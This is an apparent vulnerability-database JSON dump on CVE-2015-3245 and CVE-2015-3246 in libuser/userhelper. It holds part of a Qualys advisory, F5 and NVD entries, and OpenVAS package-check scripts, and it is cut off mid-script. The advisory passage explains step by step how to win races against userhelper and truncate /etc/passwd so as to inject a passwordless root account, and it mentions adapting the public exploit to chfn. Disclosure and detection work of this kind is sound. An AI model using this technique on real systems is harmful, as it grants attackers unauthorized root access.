character in the a-line, execve() userhelper, and let\r\nit run until the character is written to its target offset in\r\n/etc/passwd, because libuser refuses to modify our user's line if some\r\nof its fields are missing.\r\n\r\nIn order to solve this Problem #1, we fork() a new process for each\r\ncharacter in the a-line, execve() userhelper, and let it load our user's\r\noriginal, uncut line from /etc/passwd, but we SIGSTOP the process before\r\nit open()s /etc/passwd for writing. Only after we have started and\r\nstopped all userhelper processes can we safely SIGCONT them, one at a\r\ntime.\r\n\r\n\r\n----[ Problem #2 (backup file)\r\n\r\nBefore libuser open()s /etc/passwd for writing, it creates a backup file\r\nnamed /etc/passwd- and if this backup fails, libuser refuses to modify\r\n/etc/passwd. Unfortunately, our RLIMIT_FSIZE also applies to the backup,\r\nwhich will fail if the RLIMIT_FSIZE is less than the size of\r\n/etc/passwd.\r\n\r\nThis introduces Problem #2: in apparent contradiction to what we just\r\nsaid, our exploit needs to decrease RLIMIT_FSIZE after each character it\r\ninjects into /etc/passwd (as shown in the "Exploitation Overview"\r\nexample).\r\n\r\nIn order to solve this Problem #2, we refine Problem #1's\r\nSIGSTOP/SIGCONT solution: we let each userhelper process load our user's\r\noriginal, uncut line from /etc/passwd, and SIGSTOP the process after it\r\ncreates the backup file but before it modifies /etc/passwd. In other\r\nwords, we have to win a race against generic_mod()'s system calls, which\r\ncreate the backup file and modify /etc/passwd:\r\n\r\n- open() the passwd file /etc/passwd for reading;\r\n- acquire the passwd file's fcntl() read-lock;\r\n\r\n- open() the backup file /etc/passwd- for writing;\r\n- acquire the backup file's fcntl() write-lock;\r\n\r\n- read() from the passwd file;\r\n- write() to the backup file;\r\n- ftruncate() the backup file;\r\n\r\n- release the backup file's fcntl() write-lock;\r\n- close() the backup file;\r\n\r\n- release the passwd file's fcntl() read-lock;\r\n- close() the passwd file;\r\n\r\n- open() /etc/passwd for reading and writing;\r\n[RACE WINDOW BEGINS]\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n- acquire the file's fcntl() write-lock: failure, sleep for a few microseconds;\r\n[RACE WINDOW ENDS]\r\n- acquire the file's fcntl() write-lock: success;\r\n- read() the file's contents;\r\n- etc.\r\n\r\nIn order to reliably win this race against all userhelper processes (one\r\nfor each character in the a-line), we:\r\n\r\n- widen the race window. We acquire a read-lock on /etc/passwd before we\r\n execve() userhelper, which prevents libuser from acquiring the\r\n write-lock on /etc/passwd, and forces it to sleep for a few\r\n microseconds (LU_LOCK_TIMEOUT is 2, LU_MAX_LOCK_ATTEMPTS is 6).\r\n\r\n- pinpoint the race window. We monitor the filesystem for the following\r\n sequence of inotify events:\r\n\r\n . IN_CREATE on /etc if the backup file does not exist;\r\n . IN_CLOSE_WRITE on the backup file;\r\n . IN_CLOSE_NOWRITE on the passwd file;\r\n . IN_OPEN on the passwd file.\r\n\r\n- preempt the userhelper processes. We setpriority() them to the lowest\r\n priority, sched_setscheduler() them to SCHED_IDLE, and\r\n sched_setaffinity() them to the same CPU as our exploit.\r\n\r\n\r\n----[ Problem #3 (last user)\r\n\r\nIf our user's line is the last one in /etc/passwd, then the last\r\ncharacter we inject into the file (the '\n' that ends our user's line\r\nand begins the a-line) is also the very last character of write()'s\r\nbuffer, which introduces Problem #3: this last write() will not exceed\r\nour RLIMIT_FSIZE, and the consequent ftruncate() will delete the a-line\r\nfrom the end of /etc/passwd.\r\n\r\nIn order to solve this Problem #3:\r\n\r\n- either we SIGKILL the last userhelper process after write() but before\r\n ftruncate(). We reliably win this race with an IN_MODIFY event on\r\n /etc/passwd and the "same CPU, different priorities" preemption of\r\n userhelper.\r\n\r\n- or we exploit Vulnerability #1 and inject a '\n' into our own GECOS\r\n field. As far as libuser is concerned, this '\n' ends our user's line\r\n and begins a new one (with our leftover home-directory and\r\n shell-program fields): our user's line is no longer the last one in\r\n /etc/passwd.\r\n\r\n\r\n----[ Problem #4 (maximum GECOS_LENGTH)\r\n\r\nAs shown in our "Exploitation Overview" example, we only have two\r\noptions for arbitrary character injection into /etc/passwd:\r\n\r\n- either we use a character that we artificially inject through our own\r\n GECOS field (not an option for characters like ':' and '\n');\r\n\r\n- or we reuse a character that is naturally present in /etc/passwd (our\r\n only option for characters like ':' and '\n').\r\n\r\nUnfortunately, both of these options might fail to inject a character\r\nafter the end of /etc/passwd (a consequence of Problem #2):\r\n\r\n- if our own GECOS field is too far away from the end of /etc/passwd\r\n (farther than userhelper's maximum GECOS_LENGTH, 127 characters);\r\n\r\n- if the character is not already one of the last GECOS_LENGTH\r\n characters in /etc/passwd.\r\n\r\nIf faced with both of these problems, we solve the first one (and\r\nProblem #4) by repeatedly deleting lines from the end of /etc/passwd,\r\nuntil our own user's line is the last one in the file: we enlarge our\r\nown GECOS field, delete characters from the end of /etc/passwd with our\r\nRLIMIT_FSIZE scissors, shrink our GECOS field again, repeat.\r\n\r\n\r\n----[ Problem #5 (time complexity)\r\n\r\nFor each character in the a-line, we usually have to choose one of\r\nseveral (GECOS, RLIMIT_FSIZE) pairs that allow us to write the character\r\nto its target offset in /etc/passwd.\r\n\r\nThese pairs represent the nodes of a search tree that grows\r\nexponentially (with the number of characters in the a-line) but may\r\ncontain few or no solutions. In order to avoid this tree's worst-case\r\ntime complexity, we:\r\n\r\n- inject the shortest a-line possible, "\na::0:0::/:\n";\r\n\r\n- perform a recursive depth-first search on the tree, and return the\r\n first solution we find (instead of, for example, the solution that\r\n minimizes /etc/passwd's alterations);\r\n\r\n- replace the a-line's username with a wildcard, and accept any\r\n lowercase character that is not already a username (the a-line's\r\n username was a major problem, because it is the last character we\r\n inject, and therefore occurs deep down the tree's branches; the\r\n a-line's '0' characters are only a minor problem, because they occur\r\n in the middle of the tree's branches, whence we can backtrack\r\n quickly).\r\n\r\n\r\n----[ chfn\r\n\r\nutil-linux's chfn from Red Hat's codebase is linked with libuser, and\r\ncan be exploited by our public roothelper.c with just a few changes\r\n(left as an exercise for the interested reader):\r\n\r\n- userhelper uses a simple Userhelper/Consolehelper request/response\r\n protocol in order to prompt for and read the user's password, but chfn\r\n uses traditional terminal interaction;\r\n\r\n- if our user's line is the last one in /etc/passwd, we can exploit\r\n Vulnerability #1 against userhelper, but we have to win Problem #3's\r\n write/ftruncate race against chfn;\r\n\r\n- userhelper returns 0/255 on success/failure, but chfn returns 0/1.\r\n\r\n\r\n--[ Acknowledgments ]---------------------------------------------------------\r\n\r\nWe would like to thank Red Hat's Security Response Team and developers\r\nfor promptly addressing these issues.\r\n\r\n", "edition": 1, "modified": "2015-07-27T00:00:00", "published": "2015-07-27T00:00:00", "id": "SECURITYVULNS:DOC:32356", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:32356", "title": "Qualys Security Advisory - CVE-2015-3245 userhelper - CVE-2015-3246 libuser", "type": "securityvulns", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:01", "bulletinFamily": "software", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Unsafe files handling, insufficient characters filtering.", "edition": 1, "modified": "2015-07-27T00:00:00", "published": "2015-07-27T00:00:00", "id": "SECURITYVULNS:VULN:14609", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:14609", "title": "libuser / userhelper security vulnerabilities", "type": "securityvulns", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "f5": [{"lastseen": "2017-06-08T00:16:07", "bulletinFamily": "software", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "edition": 1, "description": "\nF5 Product Development has assigned ID 538035 (BIG-IP), ID 556431 (BIG-IQ), and ID 556434 (Enterprise Manager) to this vulnerability, and has evaluated the currently supported releases for potential vulnerability.\n\nTo determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table:\n\nProduct| Versions known to be vulnerable| Versions known to be not vulnerable| Severity| Vulnerable component or feature \n---|---|---|---|--- \nBIG-IP LTM| 12.0.0 \n11.0.0 - 11.6.1 \n10.1.0 - 10.2.4| 12.1.0| Medium| libuser \nBIG-IP AAM| 12.0.0 \n11.4.0 - 11.6.1| 12.1.0| Medium| libuser \nBIG-IP AFM| 12.0.0 \n11.3.0 - 11.6.1| 12.1.0| Medium| libuser \nBIG-IP Analytics| 12.0.0 \n11.0.0 - 11.6.1| 12.1.0| Medium| libuser \nBIG-IP APM| 12.0.0 \n11.0.0 - 11.6.1 \n10.1.0 - 10.2.4| None| Medium| libuser \nBIG-IP ASM| 12.0.0 \n11.0.0 - 11.6.1 \n10.1.0 - 10.2.4| 12.1.0| Medium| libuser \nBIG-IP DNS| 12.0.0| 12.1.0| Medium| libuser \nBIG-IP Edge Gateway| 11.0.0 - 11.3.0 \n10.1.0 - 10.2.4| None| Medium| libuser \nBIG-IP GTM| 11.0.0 - 11.6.1 \n10.1.0 - 10.2.4| None| Medium| libuser \nBIG-IP Link Controller| 12.0.0 \n11.0.0 - 11.6.1 \n10.1.0 - 10.2.4| 12.1.0| Medium| libuser \nBIG-IP PEM| 12.0.0 \n11.3.0 - 11.6.1| 12.1.0| Medium| libuser \nBIG-IP PSM| 11.0.0 - 11.4.1 \n10.1.0 - 10.2.4| None| Medium| libuser \nBIG-IP WebAccelerator| 11.0.0 - 11.3.0 \n10.1.0 - 10.2.4| None| Medium| libuser \nBIG-IP WOM| 11.0.0 - 11.3.0 \n10.1.0 - 10.2.4| None| Medium| libuser \nARX| None| 6.0.0 - 6.4.0| Not vulnerable| None \nEnterprise Manager| 3.0.0 - 3.1.1| None| Medium| libuser \nFirePass| None| 7.0.0 \n6.0.0 - 6.1.0| Not vulnerable| None \nBIG-IQ Cloud| 4.0.0 - 4.5.0| None| Medium| libuser \nBIG-IQ Device| 4.2.0 - 4.5.0| None| Medium| libuser \nBIG-IQ Security| 4.0.0 - 4.5.0| None| Medium| libuser \nBIG-IQ ADC| 4.5.0| None| Medium| libuser \nLineRate| None| 2.5.0 - 2.6.1| Not vulnerable| None \nF5 WebSafe| None| 1.0.0| Not vulnerable| None \nTraffix SDC| 4.0.0 - 4.4.0 \n3.3.2 - 3.5.1| 4.4.0 CF9| Low| libuser\n\nIf you are running a version listed in the **Versions known to be vulnerable **column, you can eliminate this vulnerability by upgrading to a version listed in the **Versions known to be not vulnerable **column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nF5 responds to vulnerabilities in accordance with the** Severity** values published in the previous table. The **Severity** values and other security vulnerability parameters are defined in [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>).\n\nTo mitigate this vulnerability, you can limit administrative shell access to trusted users only.\n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n * [K167: Downloading software and firmware from F5](<https://support.f5.com/csp/article/K167>)\n", "modified": "2016-05-25T22:52:00", "published": "2015-12-02T21:16:00", "id": "F5:K05770600", "href": "https://support.f5.com/csp/article/K05770600", "title": "Linux libuser vulnerability CVE-2015-3246", "type": "f5", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2016-11-09T00:09:37", "bulletinFamily": "software", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "edition": 1, "description": "Vulnerability Recommended Actions\n\nIf you are running a version listed in the **Versions known to be vulnerable **column, you can eliminate this vulnerability by upgrading to a version listed in the **Versions known to be not vulnerable **column. If the table lists only an older version than what you are currently running, or does not list a non-vulnerable version, then no upgrade candidate currently exists.\n\nF5 responds to vulnerabilities in accordance with the** Severity** values published in the previous table. The **Severity** values and other security vulnerability parameters are defined in SOL4602: Overview of the F5 security vulnerability response policy.\n\nTo mitigate this vulnerability, you can limit administrative shell access to trusted users only.\n\nSupplemental Information\n\n * SOL9970: Subscribing to email notifications regarding F5 products\n * SOL9957: Creating a custom RSS feed to view new and updated documents\n * SOL4918: Overview of the F5 critical issue hotfix policy\n * SOL167: Downloading software and firmware from F5\n", "modified": "2016-05-25T00:00:00", "published": "2015-12-02T00:00:00", "href": "http://support.f5.com/kb/en-us/solutions/public/k/05/sol05770600.html", "id": "SOL05770600", "title": "SOL05770600 - Linux libuser vulnerability CVE-2015-3246", "type": "f5", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "cve": [{"lastseen": "2021-02-02T06:21:24", "description": "libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the userhelper program in the usermode package, directly modifies /etc/passwd, which allows local users to cause a denial of service (inconsistent file state) by causing an error during the modification. NOTE: this issue can be combined with CVE-2015-3245 to gain privileges.", "edition": 6, "cvss3": {}, "published": "2015-08-11T14:59:00", "title": "CVE-2015-3246", "type": "cve", "cwe": ["CWE-264"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": true, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3246"], "modified": "2018-05-20T01:29:00", "cpe": ["cpe:/a:redhat:libuser:0.60-1", "cpe:/a:redhat:libuser:0.60-2", "cpe:/a:redhat:libuser:0.60-3", "cpe:/a:redhat:libuser:0.60-6", "cpe:/a:redhat:libuser:0.60-4", "cpe:/a:redhat:libuser:0.56.13-5", "cpe:/a:redhat:libuser:0.60-5"], "id": "CVE-2015-3246", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3246", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:redhat:libuser:0.60-2:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-3:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-6:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-4:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-5:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-1:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.56.13-5:*:*:*:*:*:*:*"]}, {"lastseen": "2021-02-02T06:21:24", "description": "Incomplete blacklist vulnerability in the chfn function in libuser before 0.56.13-8 and 0.60 before 0.60-7, as used in the userhelper program in the usermode package, allows local users to cause a denial of service (/etc/passwd corruption) via a newline character in the GECOS field.", "edition": 6, "cvss3": {}, "published": "2015-08-11T14:59:00", "title": "CVE-2015-3245", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "LOW", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 2.1, "vectorString": "AV:L/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-3245"], "modified": "2018-05-20T01:29:00", "cpe": ["cpe:/a:redhat:libuser:0.60-1", "cpe:/a:redhat:libuser:0.60-2", "cpe:/a:redhat:libuser:0.60-3", "cpe:/a:redhat:libuser:0.60-6", "cpe:/a:redhat:libuser:0.60-4", "cpe:/a:redhat:libuser:0.56.13-5", "cpe:/a:redhat:libuser:0.60-5"], "id": "CVE-2015-3245", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3245", "cvss": {"score": 2.1, "vector": "AV:L/AC:L/Au:N/C:N/I:N/A:P"}, "cpe23": ["cpe:2.3:a:redhat:libuser:0.60-2:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-3:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-6:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-4:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-5:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.60-1:*:*:*:*:*:*:*", "cpe:2.3:a:redhat:libuser:0.56.13-5:*:*:*:*:*:*:*"]}], "openvas": [{"lastseen": "2019-05-29T18:36:56", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Oracle Linux Local Security Checks ELSA-2015-1483", "modified": "2018-09-28T00:00:00", "published": "2015-10-06T00:00:00", "id": "OPENVAS:1361412562310123073", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310123073", "type": "openvas", "title": "Oracle Linux Local Check: ELSA-2015-1483", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: ELSA-2015-1483.nasl 11688 2018-09-28 13:36:28Z cfischer $\n#\n# Oracle Linux Local Check\n#\n# Authors:\n# Eero Volotinen <eero.volotinen@solinor.com>\n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.123073\");\n script_version(\"$Revision: 11688 $\");\n script_tag(name:\"creation_date\", value:\"2015-10-06 13:59:00 +0300 (Tue, 06 Oct 2015)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-09-28 15:36:28 +0200 (Fri, 28 Sep 2018) $\");\n script_name(\"Oracle Linux Local Check: ELSA-2015-1483\");\n script_tag(name:\"insight\", value:\"ELSA-2015-1483 - libuser security update. Please see the references for more insight.\");\n script_tag(name:\"solution\", value:\"Update the affected packages to the latest available version.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"summary\", value:\"Oracle Linux Local Security Checks ELSA-2015-1483\");\n script_xref(name:\"URL\", value:\"http://linux.oracle.com/errata/ELSA-2015-1483.html\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/oracle_linux\", \"ssh/login/release\", re:\"ssh/login/release=OracleLinux7\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Eero Volotinen\");\n script_family(\"Oracle Linux Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"OracleLinux7\")\n{\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.60~7.el7_1\", rls:\"OracleLinux7\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n if ((res = isrpmvuln(pkg:\"libuser-devel\", rpm:\"libuser-devel~0.60~7.el7_1\", rls:\"OracleLinux7\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n if ((res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.60~7.el7_1\", rls:\"OracleLinux7\")) != NULL) {\n security_message(data:res);\n exit(0);\n }\n\n}\nif (__pkg_match) exit(99);\n exit(0);\n\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:09", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2015-08-04T00:00:00", "id": "OPENVAS:1361412562310869833", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310869833", "type": "openvas", "title": "Fedora Update for libuser FEDORA-2015-12064", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for libuser FEDORA-2015-12064\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.869833\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2015-08-04 06:27:56 +0200 (Tue, 04 Aug 2015)\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for libuser FEDORA-2015-12064\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libuser'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"libuser on Fedora 21\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2015-12064\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/pipermail/package-announce/2015-August/163044.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC21\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC21\")\n{\n\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.62~1.fc21\", rls:\"FC21\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:16", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "The remote host is missing an update for the ", "modified": "2018-11-23T00:00:00", "published": "2015-08-03T00:00:00", "id": "OPENVAS:1361412562310871416", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310871416", "type": "openvas", "title": "RedHat Update for libuser RHSA-2015:1483-01", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# RedHat Update for libuser RHSA-2015:1483-01\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.871416\");\n script_version(\"$Revision: 12497 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-11-23 09:28:21 +0100 (Fri, 23 Nov 2018) $\");\n script_tag(name:\"creation_date\", value:\"2015-08-03 15:08:00 +0530 (Mon, 03 Aug 2015)\");\n script_cve_id(\"CVE-2015-3245\", \"CVE-2015-3246\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"RedHat Update for libuser RHSA-2015:1483-01\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'libuser'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"The libuser library implements a standardized interface for manipulating\nand administering user and group accounts. Sample applications that are\nmodeled after applications from the shadow password suite (shadow-utils)\nare included in these packages.\n\nTwo flaws were found in the way the libuser library handled the /etc/passwd\nfile. A local attacker could use an application compiled against libuser\n(for example, userhelper) to manipulate the /etc/passwd file, which could\nresult in a denial of service or possibly allow the attacker to escalate\ntheir privileges to root. (CVE-2015-3245, CVE-2015-3246)\n\nRed Hat would like to thank Qualys for reporting these issues.\n\nAll libuser users are advised to upgrade to these updated packages, which\ncontain a backported patch to correct this issue.\");\n script_tag(name:\"affected\", value:\"libuser on Red Hat Enterprise Linux Server (v. 7)\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n script_xref(name:\"RHSA\", value:\"2015:1483-01\");\n script_xref(name:\"URL\", value:\"https://www.redhat.com/archives/rhsa-announce/2015-July/msg00043.html\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2015 Greenbone Networks GmbH\");\n script_family(\"Red Hat Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/rhel\", \"ssh/login/rpms\", re:\"ssh/login/release=RHENT_7\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\n\nres = \"\";\n\nif(release == \"RHENT_7\")\n{\n\n if ((res = isrpmvuln(pkg:\"libuser\", rpm:\"libuser~0.60~7.el7_1\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-debuginfo\", rpm:\"libuser-debuginfo~0.60~7.el7_1\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"libuser-python\", rpm:\"libuser-python~0.60~7.el7_1\", rls:\"RHENT_7\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:35:53", "bulletinFamily": "scanner", "cvelist": ["CVE-2015-3246", "CVE-2015-3245"], "description": "Oracle Linux Local Security Checks ELSA-2015-1482", "modified": "2018-09-28T00:00:00", "published": "2015-10-06T00:00:00", "id": "OPENVAS:1361412562310123048", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310123048", "type": "openvas", "title": "Oracle Linux Local Check: ELSA-2015-1482", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: ELSA-2015-1482.nasl 11688 2018-09-28 13:36:28Z cfischer $\n#\n# Oracle Linux Local Check\n#\n# Authors:\n# Eero Volotinen <eero.volotinen@solinor.com>\n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.123048\");\n script_version(\"$Revision: 11688 $\");\n script_tag(name:\"creation_date\", value:\"2015-10-06 13:58:42 +0300 (Tue, 06 Oct 2015)\");\n script_tag(name:\"last_modification\", 